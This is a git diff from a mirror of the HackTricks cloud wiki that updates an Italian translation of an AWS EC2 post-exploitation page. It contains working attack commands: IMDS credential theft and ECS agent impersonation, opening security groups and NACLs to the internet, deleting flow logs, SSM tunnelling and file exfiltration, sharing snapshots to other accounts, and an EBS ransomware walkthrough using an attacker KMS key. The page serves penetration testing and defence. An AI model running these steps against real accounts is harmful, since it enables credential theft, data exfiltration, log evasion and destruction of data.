mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
@@ -12,19 +12,18 @@ Per maggiori informazioni consulta:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplica il traffico in ingresso e in uscita per le istanze EC2 all'interno di una VPC** senza la necessità di installare nulla sulle istanze stesse.\
|
||||
Questo traffico duplicato viene comunemente inviato a qualcosa come un sistema di rilevamento intrusioni di rete (IDS) per analisi e monitoraggio.\
|
||||
VPC traffic mirroring **duplica il traffico in ingresso e in uscita per le istanze EC2 all'interno di una VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato viene solitamente inviato a un sistema di rilevamento delle intrusioni di rete (IDS) per analisi e monitoraggio.\
|
||||
Un attaccante potrebbe abusarne per catturare tutto il traffico e ottenere informazioni sensibili da esso:
|
||||
|
||||
Per ulteriori informazioni consulta questa pagina:
|
||||
Per maggiori informazioni consulta questa pagina:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copiare un'istanza in esecuzione
|
||||
### Copy Running Instance
|
||||
|
||||
Le istanze di solito contengono qualche tipo di informazione sensibile. Ci sono diversi modi per entrarci (vedi [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Tuttavia, un altro modo per vedere cosa contengono è **creare un AMI e avviare da esso una nuova istanza (anche nel proprio account)**:
|
||||
Le istanze solitamente contengono qualche tipo di informazione sensibile. Ci sono diversi modi per ottenere l'accesso (vedi [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Tuttavia, un altro modo per verificare cosa contiene è **creare un AMI e avviare da esso una nuova istanza (anche nel proprio account)**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -50,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, che solitamente contengono **informazioni sensibili**, quindi controllarli dovrebbe rivelare questi dati.\
|
||||
Se trovi un **volume without a snapshot** puoi: **Create a snapshot** ed eseguire le azioni seguenti oppure semplicemente **mount it in an instance** all'interno dell'account:
|
||||
**Snapshots sono backup dei volumi**, che di solito contengono **informazioni sensibili**, quindi verificarli dovrebbe rivelare tali informazioni.\
|
||||
Se trovi un **volume senza snapshot** puoi: **creare uno snapshot** ed eseguire le azioni seguenti oppure semplicemente **montarlo in un'istanza** all'interno dell'account:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -59,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` per ottenere un'immagine disco raw senza snapshot sharing. Questo permette forensics offline complete o data theft lasciando intatta la rete dell'istanza.
|
||||
Esporta un AMI EC2 direttamente su S3 usando `CreateStoreImageTask` per ottenere un'immagine disco raw senza condividere lo snapshot. Questo permette analisi forensi offline complete o furto di dati lasciando inalterata la rete dell'istanza.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -67,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Attach an io1/io2 Multi-Attach volume a una seconda instance e mount it read-only per siphonare dati live senza snapshots. Utile quando il victim volume ha già Multi-Attach abilitato nella stessa AZ.
|
||||
Attacca un volume io1/io2 Multi-Attach a una seconda istanza e montalo in sola lettura per prelevare dati live senza snapshot. Utile quando il volume vittima ha già Multi-Attach abilitato nella stessa AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -75,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Create an EC2 Instance Connect Endpoint, authorize ingress, e inject ephemeral SSH keys per accedere a private instances tramite un managed tunnel. Consente percorsi rapidi di lateral movement senza aprire porte pubbliche.
|
||||
Crea un EC2 Instance Connect Endpoint, autorizza l'ingresso e inietta chiavi SSH effimere per accedere a istanze private tramite un tunnel gestito. Fornisce percorsi rapidi per movimenti laterali senza aprire porte pubbliche.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -83,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Move a victim ENI’s secondary private IP su un ENI controllato dall'attaccante per impersonare host trusted che sono allowlisted by IP. Permette di bypassare ACLs interne o regole SG basate su indirizzi specifici.
|
||||
Sposta l'IP privato secondario di un ENI vittima su un ENI controllato dall'attaccante per impersonare host allowlisted per IP. Permette di bypassare ACL interne o regole SG basate su indirizzi specifici.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -91,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Reassociate un Elastic IP dall'istanza vittima all'attaccante per intercettare traffico inbound o generare connessioni outbound che sembrano provenire da trusted public IPs.
|
||||
Riassegna un Elastic IP dall'istanza vittima all'attaccante per intercettare traffico in ingresso o iniziare connessioni in uscita che appaiono provenire da IP pubblici fidati.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -99,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Se una security group rule fa riferimento a un customer-managed prefix list, aggiungere attacker CIDRs alla lista espande silenciosamente l'accesso attraverso tutte le regole SG dipendenti senza modificare lo SG stesso.
|
||||
Se una regola di Security Group fa riferimento a una customer-managed prefix list, aggiungere CIDR dell'attaccante alla lista amplia silenziosamente l'accesso su tutte le regole SG dipendenti senza modificare lo SG stesso.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -107,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Create gateway o interface VPC endpoints per recuperare l'accesso outbound da subnet isolate. Sfruttare AWS-managed private links bypassa la mancanza di controlli IGW/NAT per data exfiltration.
|
||||
Crea gateway o interface VPC endpoints per recuperare l'accesso in uscita da subnet isolate. Sfruttare i private links gestiti da AWS bypassa controlli IGW/NAT mancanti per l'esfiltrazione di dati.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -115,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Un attacker con il permesso ec2:AuthorizeSecurityGroupIngress può aggiungere regole inbound a security groups (per esempio, allowing tcp:80 from 0.0.0.0/0), esponendo così servizi interni a Internet pubblico o a reti altrimenti non autorizzate.
|
||||
Un attaccante con il permesso `ec2:AuthorizeSecurityGroupIngress` può aggiungere regole inbound ai security group (per esempio, consentendo tcp:80 da 0.0.0.0/0), esponendo così servizi interni a Internet pubblica o ad altre reti non autorizzate.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Un attacker con permessi `ec2:ReplaceNetworkAclEntry` (o simili) può modificare i Network ACLs (NACLs) di una subnet per renderli molto permissivi — per esempio consentendo 0.0.0.0/0 su critical ports — esponendo l'intero intervallo della subnet a Internet o a segmenti di rete non autorizzati. A differenza delle Security Groups, che sono applicate per-instance, le NACLs sono applicate a livello di subnet, quindi cambiare una NACL restrittiva può avere un blast radius molto più ampio abilitando l'accesso a molti più hosts.
|
||||
Un attaccante con i permessi ec2:ReplaceNetworkAclEntry (o simili) può modificare i Network ACLs (NACLs) di una subnet per renderli molto permissivi — per esempio permettendo 0.0.0.0/0 su porte critiche — esponendo l'intero intervallo di subnet a Internet o a segmenti di rete non autorizzati. A differenza delle Security Groups, che sono applicate per-instance, i NACLs sono applicati a livello di subnet, quindi modificare un NACL restrittivo può avere un blast radius molto più ampio abilitando l'accesso a molti più host.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -132,16 +131,16 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Un attaccante con i permessi ec2:Delete* e iam:Remove* può cancellare risorse e configurazioni critiche dell'infrastruttura — per esempio key pairs, launch templates/versions, AMIs/snapshots, volumes o attachments, security groups o rules, ENIs/network endpoints, route tables, gateways, o managed endpoints. Questo può causare interruzione immediata del servizio, perdita di dati e perdita di evidenze forensi.
|
||||
Un attaccante con i permessi ec2:Delete* e iam:Remove* può eliminare risorse e configurazioni critiche dell'infrastruttura — per esempio key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Questo può causare interruzioni immediate del servizio, perdita di dati e perdita di prove forensi.
|
||||
|
||||
Un esempio è la cancellazione di una security group:
|
||||
One example is deleting a security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
|
||||
Indirizza VPC Flow Logs verso un S3 bucket controllato dall'attaccante per raccogliere continuamente metadati di rete (sorgente/destinazione, porte) al di fuori dell'account vittima per ricognizione a lungo termine.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -153,15 +152,15 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs non registreranno questo**.
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- Non hai accesso ai log DNS di AWS.
|
||||
- Disable this by setting "enableDnsSupport" to false with:
|
||||
- Disabilitalo impostando "enableDnsSupport" su false con:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Un attaccante potrebbe chiamare endpoint API di un account da lui controllato. Cloudtrail registrerà queste chiamate e l'attaccante potrà vedere the exfiltrate data nei log di Cloudtrail.
|
||||
Un attaccante potrebbe chiamare endpoint API di un account da lui controllato. Cloudtrail registrerà queste chiamate e l'attaccante potrà vedere i dati esfiltrati nei log di Cloudtrail.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
@@ -170,13 +169,51 @@ Potresti ottenere ulteriore accesso ai servizi di rete aprendo porte in questo m
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc a ECS
|
||||
### Privesc to ECS
|
||||
|
||||
È possibile eseguire un'istanza EC2 e registrarla per essere utilizzata per eseguire istanze ECS e poi rubare i dati delle istanze ECS.
|
||||
È possibile eseguire un'istanza EC2 e registrarla per essere usata per eseguire istanze ECS e poi rubare i dati delle istanze ECS.
|
||||
|
||||
Per [**maggiori informazioni, consulta questo**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Rimuovere VPC flow logs
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
|
||||
Una compromissione all'interno di qualsiasi task ECS in esecuzione su un EC2 container instance è tipicamente sufficiente per pivotare al ruolo host e ai ruoli IAM associati a tutti gli altri task su quel nodo. Perché non c'è **isolamento dei task per ECS-on-EC2**, ogni task può interrogare l'EC2 Instance Metadata Service (IMDS) di default, rubare l'instance profile della container instance e poi parlare lo stesso protocollo WebSocket che l'ECS agent usa verso il control plane (il primitivo **ECScape**) per richiedere le credenziali di ogni task attualmente schedulato su quell'host. Latacora ha documentato questo workflow nella loro [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), che il seguente sommario offensivo condensa.
|
||||
|
||||
#### Catena d'attacco
|
||||
|
||||
1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Use the container instance role to impersonate the ECS agent.** With those credentials you can speak the undocumented WebSocket channel the ECS agent uses; the control plane trusts you as the real agent and delivers **all task IAM credentials** to your process. You can now run higher-privileged tasks locally, dump task environment secrets, or update services/tasks to redeploy workloads you can fully inspect.
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
Impostare IMDSv2 con `HttpTokens=required` e `HttpPutResponseHopLimit=1` blocca solo i task che vivono dietro un hop aggiuntivo (Docker bridge). Altre modalità di rete rimangono entro un solo hop dal Nitro controller e continuano a ricevere risposte:
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | Ogni task ottiene la propria ENI che è comunque a un solo hop dall'IMDS, quindi token e risposte metadata arrivano correttamente. |
|
||||
| `host` | ✅ | I task condividono il namespace dell'host, quindi vedono la stessa distanza in hop dell'istanza EC2. |
|
||||
| `bridge` | ❌ | Le risposte muoiono sul Docker bridge perché quell'hop aggiuntivo esaurisce il limite di hop. |
|
||||
|
||||
Pertanto, **non presumere mai che hop limit 1 protegga i workload in `awsvpc` o in host-mode**—testa sempre dall'interno dei tuoi container.
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks:** Security groups, NACLs o modifiche al routing non possono bloccare l'indirizzo link-local 169.254.169.254 perché Nitro lo inietta sull'host. Controlla `/etc/ecs/ecs.config` per `ECS_AWSVPC_BLOCK_IMDS=true`. Se il flag manca (impostazione predefinita) puoi curlare IMDS direttamente dal task. Se è impostato, pivot nel namespace host/agent per riattivarlo o esegui i tuoi tool fuori da awsvpc.
|
||||
|
||||
- **bridge mode:** Quando le richieste metadata falliscono anche se hop limit 1 è configurato, i difensori probabilmente hanno inserito una regola di drop in `DOCKER-USER` come `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Elencare `iptables -S DOCKER-USER` lo espone, e l'accesso root ti permette di cancellare o riordinare la regola prima di interrogare IMDS.
|
||||
|
||||
- **host mode:** Ispeziona la configurazione dell'agent per `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Questa impostazione rimuove completamente i task IAM role, quindi devi o riabilitarla, spostare i task in awsvpc, o rubare le credenziali tramite un altro processo sull'host. Quando il valore è `true` (default), ogni processo in host-mode—including container compromessi—può raggiungere IMDS a meno che non siano stati applicati filtri eBPF/cgroup su `169.254.169.254`; cerca programmi tc/eBPF o regole iptables che facciano riferimento a quell'indirizzo.
|
||||
|
||||
Latacora ha anche rilasciato [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) che puoi inserire in un account target per enumerare quali modalità di rete espongono ancora i metadata e pianificare di conseguenza il tuo prossimo passo.
|
||||
|
||||
Una volta capito quali modalità espongono IMDS, puoi pianificare il tuo percorso di post-exploitation: targettizza qualsiasi ECS task, richiedi l'instance profile, impersona l'agent e raccogli il ruolo di ogni altro task per movimento laterale o persistenza all'interno del cluster.
|
||||
|
||||
### Remove VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
@@ -186,64 +223,65 @@ Permessi richiesti:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico, che può essere abusato per pivotare da istanze EC2 che non hanno accesso di rete a causa di Security Groups o NACLs.
|
||||
Uno degli scenari in cui questo è utile è pivotare da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
|
||||
Oltre all'esecuzione di comandi, SSM permette il traffic tunneling, che può essere abusato per pivot da istanze EC2 che non hanno accesso di rete a causa di Security Groups o NACLs.
|
||||
Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
|
||||
|
||||
> Per avviare una sessione è necessario avere installato il SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Installa il SessionManagerPlugin sulla tua macchina
|
||||
2. Accedi al Bastion EC2 usando il seguente comando:
|
||||
2. Effettua il login sul Bastion EC2 usando il seguente comando:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Ottieni le credenziali temporanee AWS del Bastion EC2 con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Trasferisci le credenziali sulla tua macchina nel file `$HOME/.aws/credentials` come profilo `[bastion-ec2]`
|
||||
5. Accedi a EKS come Bastion EC2:
|
||||
5. Accedi a EKS come il Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Aggiorna il campo `server` nel file `$HOME/.kube/config` in modo che punti a `https://localhost`
|
||||
6. Aggiorna il campo `server` nel file `$HOME/.kube/config` per puntare a `https://localhost`
|
||||
7. Crea un tunnel SSM come segue:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Il traffico dallo strumento `kubectl` è ora inoltrato attraverso il tunnel SSM tramite il Bastion EC2 e puoi accedere al private EKS cluster dalla tua macchina eseguendo:
|
||||
Il traffico dallo strumento `kubectl` ora viene inoltrato attraverso il tunnel SSM tramite la Bastion EC2 e puoi accedere al cluster EKS privato dalla tua macchina eseguendo:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify ` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelato attraverso il secure AWS SSM tunnel, sei al sicuro da qualsiasi tipo di attacco MitM.
|
||||
Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify ` (o il suo equivalente negli strumenti di audit K8s).
|
||||
Poiché il traffico è instradato attraverso il tunnel sicuro AWS SSM, sei al sicuro da qualsiasi tipo di attacco MitM.
|
||||
|
||||
Infine, questa tecnica non è specifica per attaccare cluster EKS privati. Puoi impostare domini e porte arbitrarie per pivotare verso qualsiasi altro servizio AWS o un'applicazione custom.
|
||||
Infine, questa tecnica non è specifica per attaccare cluster EKS privati. Puoi impostare domini e porte arbitrari per pivot verso qualsiasi altro servizio AWS o un'applicazione personalizzata.
|
||||
|
||||
---
|
||||
|
||||
#### Inoltro porta rapido Locale ↔️ Remoto (AWS-StartPortForwardingSession)
|
||||
#### Inoltro rapido porta Locale ↔️ Remoto (AWS-StartPortForwardingSession)
|
||||
|
||||
Se hai solo bisogno di inoltrare **una porta TCP dall'istanza EC2 al tuo host locale** puoi utilizzare il documento SSM `AWS-StartPortForwardingSession` (nessun parametro host remoto richiesto):
|
||||
Se hai solo bisogno di inoltrare **una porta TCP dall'istanza EC2 al tuo host locale** puoi usare il documento SSM `AWS-StartPortForwardingSession` (nessun parametro di remote host richiesto):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Il comando stabilisce un tunnel bidirezionale tra la tua workstation (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **senza aprire alcuna regola inbound di Security-Group**.
|
||||
Il comando stabilisce un tunnel bidirezionale tra la tua workstation (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **senza aprire alcuna regola in ingresso del Security-Group**.
|
||||
|
||||
Casi d'uso comuni:
|
||||
Common use cases:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Sull'istanza, avvia un semplice server HTTP che punti alla directory che vuoi esfiltrare:
|
||||
1. Sull'istanza avvia un rapido server HTTP che punta alla directory che vuoi exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Dalla tua workstation recupera i file attraverso il tunnel SSM:
|
||||
2. Dalla tua workstation recupera i file tramite il tunnel SSM:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Accessing internal web applications (e.g. Nessus)**
|
||||
* **Accesso ad applicazioni web interne (es. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -251,7 +289,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Suggerimento: Compress e encrypt le evidenze prima di exfiltrating in modo che CloudTrail non registri il clear-text content:
|
||||
Suggerimento: comprimi e cifra le prove prima di esfiltrarle in modo che CloudTrail non registri il contenuto in chiaro:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -262,7 +300,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### Cerca informazioni sensibili in AMIs pubbliche e private
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMIs) pubbliche o private**. Automatizza il processo di avvio di istanze da AMIs target, montaggio dei loro volumi e scansione per possibili secrets o dati sensibili.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMIs) pubbliche o private**. Automatizza il processo di lancio di istanze dalle AMI target, il montaggio dei loro volumi e la scansione per potenziali secrets o dati sensibili.
|
||||
|
||||
### Condividi EBS Snapshot
|
||||
```bash
|
||||
@@ -270,9 +308,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Una prova di concetto simile alla dimostrazione di Ransomware presente nelle note di S3 post-exploitation. KMS dovrebbe essere rinominato in RMS (Ransomware Management Service) vista la facilità con cui può essere usato per cifrare vari servizi AWS.
|
||||
Una prova di concetto simile alla dimostrazione di Ransomware presente nelle note di post-exploitation su S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, visto quanto è facile da usare per crittografare vari servizi AWS.
|
||||
|
||||
In primo luogo, da un account AWS 'attacker', crea una chiave gestita dal cliente in KMS. Per questo esempio lasceremo che AWS gestisca i dati della chiave per noi, ma in uno scenario realistico un attore maligno manterrebbe i dati della chiave al di fuori del controllo di AWS. Modifica la key policy per permettere a qualsiasi AWS account Principal di usare la chiave. Per questa key policy, il nome dell'account era 'AttackSim' e la regola di policy che consente l'accesso totale si chiama 'Outside Encryption'.
|
||||
Per prima cosa, da un account AWS 'attacker', crea una customer managed key in KMS. Per questo esempio lasceremo che sia AWS a gestire i dati della chiave per me, ma in uno scenario realistico un attore malevolo manterrebbe i dati della chiave al di fuori del controllo di AWS. Modifica la key policy per permettere a qualsiasi AWS account Principal di usare la chiave. Per questa key policy, il nome dell'account era 'AttackSim' e la regola di policy che permette tutto l'accesso si chiama 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -364,7 +402,7 @@ In primo luogo, da un account AWS 'attacker', crea una chiave gestita dal client
|
||||
]
|
||||
}
|
||||
```
|
||||
La regola della key policy richiede le seguenti autorizzazioni abilitate per permettere di usarla per crittografare un volume EBS:
|
||||
La key policy deve avere le seguenti autorizzazioni abilitate per poter essere usata per criptare un EBS volume:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -372,17 +410,17 @@ La regola della key policy richiede le seguenti autorizzazioni abilitate per per
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
Ora che la key pubblicamente accessibile è disponibile, possiamo usare un account 'victim' che ha delle istanze EC2 avviate con EBS volumes non criptati allegati. Gli EBS volumes di questo account 'victim' sono il nostro obiettivo per la cifratura; questo attacco avviene nell'ipotesi di compromissione di un account AWS con privilegi elevati.
|
||||
|
||||
 
|
||||
|
||||
Simile all'esempio di ransomware su S3. Questo attacco creerà copie dei volumi EBS collegati usando snapshot, userà la chiave pubblicamente disponibile dell'account 'attacker' per cifrare i nuovi volumi EBS, quindi staccherà i volumi EBS originali dalle istanze EC2 e li cancellerà, e infine eliminerà gli snapshot usati per creare i nuovi volumi EBS cifrati. 
|
||||
Simile all'esempio S3 ransomware. Questo attacco crea copie degli EBS volumes allegati usando snapshot, utilizza la key pubblica disponibile dall'account 'attacker' per criptare i nuovi EBS volumes, poi stacca gli EBS volumes originali dalle istanze EC2 e li elimina, e infine cancella gli snapshot usati per creare i nuovi EBS volumes criptati. 
|
||||
|
||||
Il risultato è che nell'account rimarranno disponibili solo volumi EBS cifrati.
|
||||
Il risultato è che nell'account rimangono solo EBS volumes criptati.
|
||||
|
||||
|
||||
|
||||
Da notare inoltre che lo script ha arrestato le istanze EC2 per staccare e cancellare i volumi EBS originali. I volumi originali non cifrati sono ora spariti.
|
||||
Vale anche la pena notare che lo script ha fermato le istanze EC2 per poter staccare e cancellare gli EBS volumes originali. Gli originali volumi non criptati sono ora spariti.
|
||||
|
||||
|
||||
|
||||
@@ -457,15 +495,15 @@ Successivamente, torna alla key policy nell'account 'attacker' e rimuovi la rego
|
||||
]
|
||||
}
|
||||
```
|
||||
Aspetta un momento che la nuova key policy venga propagata. Poi torna all'account 'victim' e prova ad allegare uno dei volumi EBS appena criptati. Vedrai che puoi allegare il volume.
|
||||
Attendi un momento affinché la nuova key policy si propaghi. Poi torna all'account 'victim' e prova a collegare uno dei volumi EBS appena crittografati. Vedrai che puoi collegare il volume.
|
||||
|
||||
 
|
||||
|
||||
Ma quando tenti effettivamente di riavviare l'istanza EC2 con il volume EBS criptato, fallirà e passerà dallo stato 'pending' di nuovo allo stato 'stopped' per sempre, dato che il volume EBS allegato non può essere decriptato usando la key perché la key policy non lo permette più.
|
||||
Ma quando provi effettivamente a riavviare l'istanza EC2 con il volume EBS crittografato, semplicemente fallirà e passerà dallo stato 'pending' allo stato 'stopped' indefinitamente, perché il volume EBS allegato non può essere decrittografato usando la key dato che la key policy non lo permette più.
|
||||
|
||||
 
|
||||
|
||||
Questo è lo script python usato. Prende AWS creds per un account 'victim' e un valore ARN AWS pubblicamente disponibile per la key da usare per la crittografia. Lo script creerà copie criptate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS bersaglio, poi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine eliminerà tutti gli snapshot utilizzati durante il processo. Questo lascerà solo volumi EBS criptati nell'account 'victim' bersaglio. USARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E CANCELLERÀ TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli utilizzando la KMS key impiegata e ripristinarli al loro stato originale tramite snapshot, ma voglio solo avvisarti che si tratta, alla fine della giornata, di un ransomware PoC.
|
||||
